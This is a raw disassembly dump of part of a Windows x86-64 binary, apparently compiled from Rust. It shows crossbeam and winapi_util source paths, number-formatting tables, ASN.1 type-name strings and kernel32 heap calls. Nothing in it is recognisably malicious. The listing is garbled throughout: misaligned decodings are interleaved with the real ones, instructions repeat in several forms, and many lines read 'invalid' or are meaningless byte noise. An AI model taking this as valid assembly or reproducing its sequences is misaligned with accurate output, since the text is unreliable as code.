add byte [rcx - 0x77], cl
mov r14, rdx
mov esi, edx
invalid
and r14, 0xfffffffffffffff8
and esi, 0xfffffff8
out 0xf8, al
je 0x14004a7c1
test byte [rdi + 0x48000000], bh
mov edi, 0x48000000
add byte [rax], al
add byte [rax - 0x77], cl
mov rax, rcx
mov eax, ecx
enter 0x49f0, 0xf
lock cmpxchg qword [r15 + 0x80], rdx
cmpxchg qword [r15 + 0x80], rdx
mov cl, 0x97
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x30], dh
jne case.0x140023efa.405
ror byte [rcx - 0x75], 1
xchg dword [rax], eax
invalid
mov rax, qword [r15 + 0x100]
add byte [rcx], al
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax + 0x39], cl
cmp rcx, rax
cmp ecx, eax
sal dword [rbp + 0xc], 0x48
mov eax, ecx
invalid
jne 0x14004a728
mov rax, rcx
enter 0x49f0, 0xf
lock cmpxchg qword [r15 + 0x100], rdx
cmpxchg dword [rdi + 0x100], edx
mov cl, 0x97
xchg edi, eax
add byte [rcx], al
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
add byte [rax], al
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0xaeac9
invalid
or al, byte [rax]
add byte [rcx], dh
xor edx, edx
call r12
call rsp
rol byte [rcx - 1], cl
call rsp
invalid
lea rdx, [r14 + 0x10]
lea edx, [rsi + 0x10]
push rsi
adc byte [rcx + 0xf], al
invalid
movups xmm0, xmmword [r14]
movups xmm0, xmmword [rsi]
adc byte [rsi], al
mov rsi, qword [r14]
movaps xmmword ss:[rsp + 0x50], xmm0
movaps xmmword [rsp + 0x50], xmm0
sub dword [rsp + 0x50], eax
and al, 0x50
push rax
mov r8d, 0x800
mov eax, 0x800
add byte [rax], cl
add byte [rax], al
invalid
add byte [rax - 0x77], cl
stc
mov rcx, rdi
mov ecx, edi
call sub.VCRUNTIME140.dll_memmove
wait
mov edi, 0x85480005
invalid
add byte [rax - 0x7b], cl
invalid
invalid
add eax, 0xf6854800
test rsi, rsi
div byte [rdx + rbp*2 + 0x4c]
je 0x14004a7c1
push 0x4c
mov r14, qword [rsp + 0x850]
mov esi, dword [rsp + 0x850]
mov ah, 0x24
push rax
or byte [rax], al
add byte [rcx - 0x7d], cl
cmp r14, 0x41
cmp esi, 0x41
inc byte [rcx + 0xf]
jae case.0x140023efa.414
jae case.0x140023efa.414
or ecx, 0
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x7b], cl
test esi, esi
invalid
invalid
outsb dx, byte [rsi]
test r14, r14
test esi, esi
je case.0x140023efa.405
test byte [rsi - 1], ch
invalid
invalid
dec dword [rcx - 0x3f]
out 5, al
invalid
shl r14, 5
add eax, 0x1f0ff631
xor esi, esi
test byte [rdi], 0x1f
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rsp + rsi + 0x50]
xor al, 0x50
xor al, 0x50
movups xmm1, xmmword [rsp + rsi + 0x60]
adc byte [rsp + rsi + 0x60], cl
xor al, 0x60
movaps xmmword [rsp + 0x40], xmm1
and al, 0x40
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x30], xmm0
sub dword [rsp + 0x30], eax
and al, 0x30
movups xmm0, xmmword [0x1400dfb30]
add eax, 0x95395
push rbx
or dword [rax], eax
movups xmmword [rsp + rsi + 0x50], xmm0
xor al, 0x50
xor al, 0x50
movups xmm0, xmmword [0x1400dfb40]
add eax, 0x95399
cdq
push rbx
or dword [rax], eax
invalid
add byte [rdi], cl
movups xmmword [rsp + rsi + 0x60], xmm0
adc dword [rsp + rsi + 0x60], eax
mov rcx, rbx
call qword [rsp + 0x30]
and al, 0x30
fcos
push rsp
and al, 0x30
xor byte [rax - 0x7d], cl
invalid
add rsi, 0x20
cmp r14, rsi
div byte [rbp - 0x3c]
and byte [rcx + 0x39], cl
div byte [rbp - 0x3c]
jmp case.0x140023efa.405
invalid
invalid
mov r8, qword [r15 + 0x80]
mov eax, dword [rdi + 0x80]
add byte [rax], 0
add byte [rax], al
add byte [rcx - 0x7d], cl
and r8, 0xfffffffffffffff8
and eax, 0xfffffff8
loopne case.0x14002632d.346
mov rcx, qword [0x1400f91f8]
xor edx, edx
invalid
and eax, 0x31000aea
add byte [rcx], dh
sar bh, cl
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x65c2d
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x28]
and al, 0x28
and al, 0x28
mov rax, qword [rax]
cmp rax, 0xffffffffffffffff
clc
invalid
je 0x14004a803
invalid
add byte [rax - 0x7d], cl
clc
push qword [rdx + rbx - 0x10]
sbb dh, al
lock dec qword [rax + 8]
dec qword [rax + 8]
dec dword [rax + 8]
jne 0x14004a803
mov r8, qword [rax - 8]
clc
mov rcx, qword [0x1400f91f8]
or eax, 0xae9fd
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x65c05
adc eax, 0x65c05
invalid
add byte [rax + 0x68c48148], dl
or byte [rax], al
add byte [rbx + 0x5d], bl
pop rbp
nop
add rsp, 0x868
invalid
push 0x5b000008
invalid
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rdi
pop rdi
ret
mov qword [rsp + 0x50], 0
and al, 0x50
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [rsp + 0x30]
lea rcx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
xor byte [rax - 0x73], cl
push rsp
and al, 0x50
lea rdx, [rsp + 0x50]
call fcn.1400aae30
invalid
ud2
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fcrossbeam_epoch_0.9.15_srcinternal.rs
push rdx
or dword [rax], eax
mov edx, 0x40
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov rcx, r14
call fcn.1400aa020
invalid
ud2
int3
push rdi
sub rsp, 0xb8
mov r10, rdx
add byte [rax], al
add byte [rcx - 0x77], cl
ror byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rcx]
mov ecx, dword [rdx + 0x34]
add dword [rbx - 0x3e09cbb6], ecx
adc byte [rdi], cl
test cl, 0x10
jne case.0x14002739f.194
test ebx, edx
add byte [rax], al
invalid
test ebx, edx
add byte [rax], al
add dh, dh
shl dword [rax], 0xf
jne case.0x1400270ad.217
invalid
invalid
test cl, 0x20
jne case.0x1400270ad.217
add byte [rax], al
mov rcx, qword [rax]
mov eax, 0x27
or byte [rax + 0x27], bh
cmp rcx, 0x2710
stc
adc byte [rdi], ah
add byte [rax], al
invalid
add byte [rdi], cl
invalid
jb 0x14004aa0f
add dword [rax], eax
add byte [rcx - 0x45], al
invalid
mov r11d, 0x27
movabs r8, 0x346dc5d63886594b
pop rcx
xchg byte [rax], bh
invalid
invalid
insd dword [rdi], dx
xor al, 0x4c
lea ecx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
or dword [rax], eax
add byte [rcx - 0x48], cl
pop r9
pop rcx
pop rcx
xchg byte [rax], bh
invalid
invalid
or dword [rax], eax
mov rax, rcx
mul r8
enter 0xfffffffffffff749, 0xffffffffffffffe0
shr rdx, 0xb
imul eax, edx, 0x2710
add byte [rax], al
add byte [rax], al
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
jnp 0x14004a8cc
add byte [rax], al
shr edi, 0x13
imul eax, edi, 0x64
invalid
sub esi, eax
jnp 0x14004a8cc
invalid
movzx esi, si
lea rax, [r11 - 4]
lea eax, [rbx - 4]
lea eax, [rbx - 4]
movzx edi, word [r9 + rdi*2]
mov word [rsp + r11 + 0x34], di
sbb al, 0x34
movzx esi, word [r9 + rsi*2]
mov word [rsp + r11 + 0x36], si
invalid
mov bh, 0x34
jno 0x14004a940
sbb al, 0x36
mov r11, rax
mov r11, rax
cmp rcx, 0x5f5e0ff
cmp ecx, 0x5f5e0ff
loopne 0x14004a8dd
add eax, 0x77d18948
mov dl, 0x48
cmp rdx, 0x63
mov rcx, rdx
ja 0x14004a8a0
cmp rdx, 0x63
jbe case.0x1400270ad.256
movzx ecx, dx
shr ecx, 2
add ch, byte [rcx - 0x37]
jnp case.0x140023efa.421
add byte [rax], al
retf 0xe9c1
add ch, byte [rcx - 0x37]
jnp case.0x140023efa.421
add byte [rax], al
shr ecx, 0x11
imul r8d, ecx, 0x64
imul eax, ecx, 0x64
adc dword [rbx + rbp*2 - 0x3f], eax
imul eax, ecx, 0x64
sub edx, r8d
sub edx, r8d
movzx edx, dx
lea r8, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
lea eax, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
lea eax, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
add eax, 0x9bf8c
or dword [rax], eax
movzx edx, word [r8 + rdx*2]
mov bh, 0x14
push rax
mov word [rsp + rax + 0x36], dx
mov dword [rsp + rax + 0x36], edx
add rax, 0xfffffffffffffffe
mov rdx, rcx
cmp rdx, 0xa
cmp edx, 0xa
or cl, byte [rdi]
xor edx, 0
add byte [rax], al
invalid
jae 0x14004aa21
add byte [rax + 0x548830c2], al
add dl, 0x30
ret 0x8830
mov byte [rsp + rax + 0x37], dl
push rsp
add al, 0x37
dec rax
jmp 0x14004aa35
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rax]
mov r8d, 0x81
mov eax, 0x81
invalid
invalid
mov rdx, qword [rax]
mov r8d, 0x81
mov eax, 0x81
mov eax, 0x81
add byte [rax + 0x30], bh
mov eax, 0x30
add byte [rax], al
add byte [rcx - 0x77], cl
mov r9, rdx
nop
rcl dword [rax + 0x49c1894c]
mov rcx, r8
mov ecx, eax
ror dword [rcx - 0x3f], 0xe9
shr r9, 4
shr ecx, 4
add al, 0x41
mov eax, edx
mov r8d, edx
and r8b, 0xf
loopne 0x14004a96d
cmp r8b, 0xa
cmp al, 0xa
mov r11d, 0x57
add byte [rax], al
cmovb r11d, eax
add r11b, r8b
ret
fadd dword [rbp]
add bl, al
ret
mov byte [rsp + rcx + 0x36], r11b
or al, 0x36
lea r8, [rcx - 1]
lea eax, [rcx - 1]
dec dword [r8 - 0x7d]
cli
adc byte [rcx + rcx*4 - 0x36], cl
invalid
cmp rdx, 0x10
mov rdx, r9
invalid
retf 0xcf73
jae 0x14004a950
iretd
jmp 0x14004a9d1
mov rdx, qword [rax]
mov rdx, qword [rax]
mov r8d, 0x81
mov eax, 0x30
add byte [rax], al
invalid
add dword [rax], 0x30b80000
add byte [rax + 0x30], bh
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
mov r9, rdx
mov ecx, edx
shl dword [rsi + 0x66], 1
nop word cs:[rax + rax]
nop word cs:[rax + rax]
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x3f], cl
mov ecx, eax
add byte [rax], al
mov rcx, r8
mov ecx, eax
ror dword [rcx - 0x3f], 0xe9
shr r9, 4
shr ecx, 4
add al, 0x41
mov eax, edx
invalid
mov r8d, edx
rol byte [rcx - 0x80], 1
and r8b, 0xf
loopne 0x14004a9bd
cmp r8b, 0xa
cmp al, 0xa
mov r11d, 0x37
invalid
add byte [rax], al
cmovb r11d, eax
cmovb ebx, eax
fadd dword [rbp]
add r11b, r8b
add bl, al
ret
mov byte [rsp + rcx + 0x36], r11b
or al, 0x36
lea r8, ss:[rcx - 1]
lea r8, [rcx - 1]
lea eax, [rcx - 1]
dec dword [r8 - 0x7d]
cmp rdx, 0x10
mov rdx, r9
invalid
cli
adc byte [rcx + rcx*4 - 0x36], cl
invalid
retf 0xcf73
jae 0x14004a9a0
iretd
add rcx, 0xfffffffffffffffe
add ecx, 0xfffffffe
sar esi, 0x48
cmp ecx, 0x80
invalid
cmp rcx, 0x80
add byte [rdi], cl
xchg dword [rax + rax - 0x7e480000], ecx
mov word [rax], es
add byte [rax], al
invalid
invalid
add byte [rax], al
ja case.0x140026d73.371
mov word [rax], es
add byte [rax], al
add byte [rax + 0x81], bh
mov eax, 0x81
add byte [rax], al
mov eax, 0x81
add byte [rcx + rbp - 0x40], cl
sub rax, r8
ror byte [rax + 1], 0xe1
add rcx, rsp
add ecx, esp
add rcx, 0x38
add ecx, 0x38
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
and al, 0x28
mov qword [rsp + 0x20], rcx
lea r8, [0x1400e3859]
lea eax, [0x1400e3859]
lea eax, [0x1400e3859]
push rdi
mov cs, word [rcx]
add byte [rcx - 0x47], al
add al, byte [rax]
add byte [rax], al
mov r9d, 2
mov ecx, 2
mov rcx, r10
mov dl, 1
invalid
sal dword [rdx + 0x484feb01], 1
mov edx, ecx
add ebx, ebp
jmp 0x14004aa5e
mov rdx, rcx
mov rdx, rcx
cmp rdx, 0x63
ja 0x14004a8f4
invalid
jmp case.0x1400270ad.256
invalid
dec dword [rax - 0x73]
lea rcx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
lea ecx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
or eax, 0x9be78
add byte [rdi], cl
movzx ecx, word [rcx + rdx*2]
mov bh, 0xc
push rcx
mov word [rsp + rax + 0x36], cx
add al, 0x36
add rax, 0xfffffffffffffffe
add eax, 0xfffffffe
sar dh, 0x48
lea ecx, [rsp + rax]
lea rcx, [rsp + rax]
add rcx, 0x38
mov edx, 0x27
invalid
add byte [rax], al
invalid
invalid
sub rdx, rax
sub edx, eax
ret 0x8948
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
and al, 0x20
sub byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
and al, 0x20
and byte [rbp + rcx*4 + 5], cl
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
add bh, byte [rcx]
or al, byte [rax]
mov rcx, r10
mov dl, 1
add dword [rbp + 0x31], eax
leave
add dword [rbp + 0x31], eax
leave
call fcn.1400417b0
nop
add rsp, 0xb8
add esp, 0xb8
insd dword [rdi], dx
invalid
call qword [rax - 0x473b7eb8]
add byte [rax], al
invalid
add esp, 0xb8
add byte [rdi + 0x5e], bl
pop rdi
pop rsi
ret
lea r8, [0x1400d8b18]
add eax, 0x8e0a3
loopne 0x14004aa7c
add byte [rdx + 0x80], bh
mov edx, 0x80
add byte [rax], al
add al, ch
movabs eax, dword [0xcccccc0b0f0005f4]
add eax, 0xcc0b0f00
int3
int3
int3
call fcn.1400a9f20
hlt
add eax, 0xcc0b0f00
ud2
or ecx, esp
int3
int3
push rbx
sub rsp, 0x20
in al, dx
invalid
in al, dx
and byte [rax - 0x75], cl
mov rax, qword [rcx]
mov rbx, qword [rax]
mov rdi, qword [rax + 8]
invalid
add dword [rax - 0x75], ecx
sbb byte [rax - 0x75], cl
js 0x14004aaa9
invalid
or byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
fisttp dword [rdi]
invalid
mov qword [rax], 0
mov dword [rax], 0
test rbx, rbx
test ebx, ebx
je 0x14004abc3
test byte [rdx], dl
add dword [rax], eax
add byte [rdi], cl
movzx eax, byte [0x1400f92c0]
mov dh, 5
or al, ch
invalid
add eax, 0xae808
call 0xcb4caac4
or eax, 0xae739
cmp edi, esp
or al, byte [rax]
or al, byte [rax]
mov rcx, qword [0x1400f91f8]
cmp edi, esp
or al, byte [rax]
out 0xa, eax
add byte [rax - 0x7b], cl
test rcx, rcx
leave
jne 0x14004aadd
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
ror byte [rdi], 0x84
invalid
add byte [rax], al
add byte [rax], al
pop rcx
invalid
ror byte [rdi], 0x84
invalid
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 5
mov dword [0x1400f91f8], eax
mov rcx, rax
mov ecx, eax
mov qword [0x1400f91f8], rax
mov dword [0x1400f91f8], eax
add eax, 0xae71b
add byte [rcx - 0x48], al
sbb byte [rax], cl
or byte [rax], al
invalid
mov r8d, 0x818
or byte [rax], al
add byte [rcx], dh
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
invalid
pop rcx
invalid
invalid
sar bh, cl
adc eax, 0x6590d
invalid
pop rcx
invalid
invalid
or eax, 0x48000659
test eax, eax
invalid
test rax, rax
ror byte [rdi], 0x84
je case.0x140075d15.450
lodsd eax, dword [rsi]
add byte [rax], al
add byte [rax], al
mov rsi, rax
add byte [rax], al
mov rsi, rax
mov qword [rax + 0x810], 0
mov dword [rax + 0x810], 0
mov dword [rax + 0x810], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
invalid
mov dh, 5
movzx eax, byte [0x1400f92c0]
mov bh, 0xe7
or al, byte [rax]
add byte [rax - 0x75], cl
or eax, 0xae6e8
mov rcx, qword [0x1400f91f8]
test rcx, rcx
leave
jne 0x14004ab2e
sbb edi, edi
adc eax, 0x658d5
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
test eax, eax
je case.0x14002739f.253
test byte [rsi + 0x48000000], cl
mov ecx, eax
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 5
invalid
mov rcx, rax
mov qword [0x1400f91f8], rax
mov dword [0x1400f91f8], eax
add eax, 0xae6ca
retf 0xae6
or al, byte [rax]
mov r8d, 0x300
add byte [rax], al
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
adc eax, 0x658bc
sar bh, cl
adc eax, 0x658bc
mov esp, 0x48000658
test eax, eax
invalid
test rax, rax
sal byte [rcx + rsi*2 + 0x48], 0x89
ror dword [rax - 0x7d], 0xe1
and rcx, 0xffffffffffffff80
invalid
invalid
xchg ecx, eax
je case.0x14002739f.253
jno 0x14004ab8a
mov rcx, rax
mov ecx, eax
and rcx, 0xffffffffffffff80
and ecx, 0xffffff80
lea rdx, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov dword [rcx + 0x78], eax
add byte [rax], 0
add byte [rax - 0x77], cl
invalid
mov dword [rcx + 0x78], eax
js case.0x14002632d.401
js case.0x14002632d.401
mov qword [rcx + 0x80], 1
mov dword [rcx + 0x80], 1
add byte [rax], 0
add byte [rcx], al
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rcx + 0x88], 1
mov qword [rcx + 0x100], rsi
add byte [rax], al
mov qword [rcx + 0x88], 1
mov byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rcx + 0x100], rsi
mov cl, 0
add byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
mov qword [rcx + 0x180], rsi
mov dword [rcx + 0x180], esi
mov cl, 0x80
add dword [rax], eax
add byte [rax - 0x39], cl
invalid
add dword [rax], 2
add byte [rdx], al
add byte [rax], al
invalid
mov qword [rcx + 0x200], 0
add byte [rdx], al
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rcx + 0x280], 0
mov rax, qword [rbx]
add byte [rax], al
mov qword [rcx + 0x280], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rbx]
add ecx, dword [rax - 0x77]
mov qword [rax], rdx
mov rax, qword [rdi]
invalid
mov byte [rax], 1
add byte [rcx], al
adc byte [rax - 0x75], cl
invalid
add byte [rcx], al
add dword [rax - 0x7d], ecx
invalid
add rsp, 0x20
add esp, 0x20
and byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
ret
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x818
sbb byte [rax], cl
add byte [rax], al
or byte [rax], al
add al, ch
push rax
add eax, 0xb90b0f00
invalid
call fcn.1400a9e00
ud2
mov ecx, 0x80
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x280], bh
mov edx, 0x280
add byte [rdx], 0
add al, ch
invalid
add byte [rax], al
call fcn.1400a9e00
add eax, 0x480b0f00
add eax, 0x480b0f00
add byte [rdi], cl
ud2
or ecx, dword [rax - 0x73]
or eax, 0xa3b96
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea ecx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_synconce.rs
lea eax, [0x1400e26b8]
or dword [rax], eax
add byte [rdx + 0x2b], bh
mov edx, 0x2b
sub eax, dword [rax]
add byte [rax], al
call fcn.1400aa0a0
add byte [rdi], cl
ud2
or ecx, esp
int3
int3
and al, 0x1f
cmp al, 0x1f
jne case.0x140032218.145
invalid
adc al, bh
mov dword [rcx], 0
add dword [rax], eax
add byte [rax], al
add dh, al
add al, 0x1f
add byte [rax], al
mov byte [rcx + 4], 0x1f
mov dword [rcx + 5], 0x12000000
add byte [rax], al
add byte [rdx], dl
ret
movzx r8d, dl
movzx eax, dl
ret 0xff41
dec r8d
cmp r8d, 0x30
cmp eax, 0x30
clc
xor byte [rdi], cl
xchg dword [rbp + 0x4c000000], edx
xchg ebp, eax
add byte [rax], al
add byte [rbp + rcx*4 + 0xd], cl
or eax, 0xa4c42
ja case.default.0x14004ac19
xchg ebp, eax
add byte [rax], al
add byte [rbp + rcx*4 + 0xd], cl
invalid
lea r9, [0x1400ef854]
or eax, 0xa4c42
or r8b, byte [rax]
or r8b, byte [rax]
movsxd r8, dword [r9 + r8*4]
invalid
add al, 0x81
add r8, r9
add eax, ecx
enter 0xffffffffffffff41, 0xffffffffffffffe0
mov byte [rcx + 4], 0
add al, 0
add al, 0
jmp r8
jmp rax
add al, 0
mov dword [rcx], 2
add dword [rdx], eax
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add bl, al
mov byte [rcx + 4], 2
add al, 2
ret
add al, 2
add al, bh
mov dword [rcx], 2
add dword [rdx], eax
add byte [rax], al
add bl, al
ret
add byte [rax], al
ret
mov byte [rcx + 4], 5
add al, 5
add al, 5
mov dword [rcx], 2
add al, byte [rax]
add byte [rax], al
add bl, al
ret
mov byte [rcx + 4], 0xc
add al, 0xc
add byte [rax], al
ret
add al, 0xc
add al, 0xc
mov dword [rcx], 2
add dword [rdx], eax
add byte [rax], al
add bl, al
ret
mov byte [rcx + 4], 0xd
add al, 0xd
add byte [rax], al
ret
add al, 0xd
or eax, 0x201c7
add byte [rax], al
mov dword [rcx], 2
add dword [rdx], eax
add byte [rax], al
add bl, al
ret
ret
mov byte [rcx + 4], 0xe
add al, 0xe
add al, 0xe
mov dword [rcx], 2
add al, byte [rax]
add byte [rax], al
add bl, al
ret
add byte [rax], al
ret
mov byte [rcx + 4], 0xf
add al, 0xf
mov dword [rcx], 2
add dword [rdx], eax
add byte [rax], al
add bl, al
add byte [rax], al
ret
mov byte [rcx + 4], 9
add al, 9
mov dword [rcx], 2
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add bl, al
ret
mov byte [rcx + 4], 0xa
add al, 0xa
or al, bh
mov dword [rcx], 2
add dword [rdx], eax
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add bl, al
ret
mov byte [rcx + 4], 1
add al, 1
add edi, eax
add dword [rdx], eax
mov dword [rcx], 2
add byte [rax], al
add byte [rax], al
add bl, al
mov byte [rcx + 4], 3
add al, 3
ret
add al, 3
mov dword [rcx], 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add bl, al
mov byte [rcx + 4], 4
add al, 4
ret
add al, 4
add al, 4
mov dword [rcx], 2
add dword [rdx], eax
add byte [rax], al
invalid
add byte [rax], al
add bl, al
ret
mov r8d, edx
rol byte [rcx - 0x80], 1
loopne case.0x1400240ea.425
invalid
and r8b, 0x20
and byte [rbp + rcx*4 + 0x4a], al
rol byte [rcx - 0x80], 0xf9
invalid
invalid
stc
lea r9d, [rdx - 0x40]
lea ecx, [rdx - 0x40]
cmp r9b, 0x3f
stc
invalid
jae case.0x1400240ea.431
shr r8b, 5
mov byte [rcx + 4], 0x14
add al, 0x14
call 0x1444672bd
add eax, 0x140441c6
add al, 0x14
adc al, 0x88
mov byte [rcx + 5], al
mov byte [rcx + 6], r8b
mov byte [rcx + 6], al
add eax, 0x6418844
add eax, 0x6418844
mov byte [rcx + 6], al
invalid
mov dword [rcx], 2
add byte [rax], al
add bl, al
ret
add byte [rax], al
ret
mov byte [rcx + 4], 6
add al, 6
mov dword [rcx], 2
add al, byte [rax]
add byte [rax], al
add bl, al
ret
add byte [rax], al
ret
mov byte [rcx + 4], 7
add al, 7
mov dword [rcx], 2
add dword [rdx], eax
add byte [rax], al
add byte [rax], al
add bl, al
mov byte [rcx + 4], 8
add al, 8
ret
add al, 8
add al, 8
mov dword [rcx], 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add bl, al
ret
mov byte [rcx + 4], 0xb
mov dword [rcx], 2
add dword [rdx], eax
add byte [rax], al
invalid
add dword [rdx], eax
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add bl, al
mov byte [rcx + 4], 0x10
invalid
ret
adc bh, al
add dword [rdx], eax
mov dword [rcx], 2
ret
add byte [rax], al
add bl, al
mov byte [rcx + 4], 0x11
add al, 0x11
adc edi, eax
mov dword [rcx], 2
add dword [rdx], eax
add byte [rax], al
add byte [rax], al
ret
add byte [rax], al
ret
mov byte [rcx + 4], 0x12
add al, 0x12
mov dword [rcx], 2
ret
add al, 0x13
mov dword [rcx], 2
add dword [rdx], eax
add al, byte [rax]
add byte [rax], al
add bl, al
ret
add byte [rax], al
ret
cmp dl, 0xbf
jge case.0x140032218.155
mov edi, 0xc041167d
shr r8b, 5
shr al, 5
call 0x144467330
adc eax, 0x44054188
add eax, 0x150441c6
mov byte [rcx + 4], 0x15
add al, 0x15
add al, 0x15
mov byte [rcx + 5], al
mov byte [rcx + 6], r8b
mov byte [rcx + 6], al
mov byte [rcx + 6], al
invalid
mov dword [rcx], 2
ret
add dword [rdx], eax
add byte [rax], al
add bl, al
lea r9d, [rdx + 0x40]
cmp r9b, 0x3f
cmp r9b, 0x3f
jae case.0x140026d73.385
shr r8b, 5
mov byte [rcx + 4], 0x16
call 0x144467350
invalid
mov byte [rcx + 5], al
mov byte [rcx + 6], r8b
mov byte [rcx + 6], al
invalid
mov dword [rcx], 2
add byte [rax], al
add bl, al
ret
ret
mov dword [rcx], 0
add byte [rax], al
mov byte [rcx + 8], 0x14
mov byte [rcx + 9], dl
or ebx, eax
or byte [r8 + rcx*4], dl
or byte [rax + rcx*4], dl
adc al, 0x88
push rcx
or ebx, eax
int3
int3
int3
mov eax, dword [rcx]
movzx ecx, byte [rax]
add dword [rdi], ecx
mov dh, 8
lea r8, [0x1400ef918]
add eax, 0xa4b97
xchg edi, eax
or al, byte [r8]
add byte [rcx + 0x63], cl
or al, 0x88
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
add ecx, eax
jmp rcx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
sbb byte [rax - 0x73], cl
adc eax, 0x95373
jae 0x14004adee
or dword [rax], eax
lea rdx, str.BOOLEANINTEGERBIT_STRINGOCTET_STRINGNULLOBJECT_IDENTIFIERREALENUMERATEDUTF8StringSEQUENCESETNumericStringPrintableStringTeletexStringVideotexStringIA5StringUTCTimeGeneralizedTimeVisibleStringBMPStringAPPLICATION_____
jae 0x14004adee
push rbx
or dword [rax], eax
mov r8d, 7
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
invalid
add rsp, 0x78
jmp rax
invalid
js case.0x14002739f.264
jmp rax
loopne case.0x140075d15.466
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1400e0117]
push rbx
or dword [rax], eax
add byte [rcx - 0x48], al
mov r8d, 7
add rsp, 0x78
js case.0x14006b385.429
jmp rax
invalid
js case.0x14006b385.429
jmp rax
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
invalid
invalid
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e011e]
adc eax, 0x95341
or dword [rax], eax
mov r8d, 0xa
add rsp, 0x78
add esp, 0x78
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
add esp, 0x78
js 0x14004ae30
jmp rax
jmp rax
loopne 0x14004ae33
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sub byte [rax - 0x75], cl
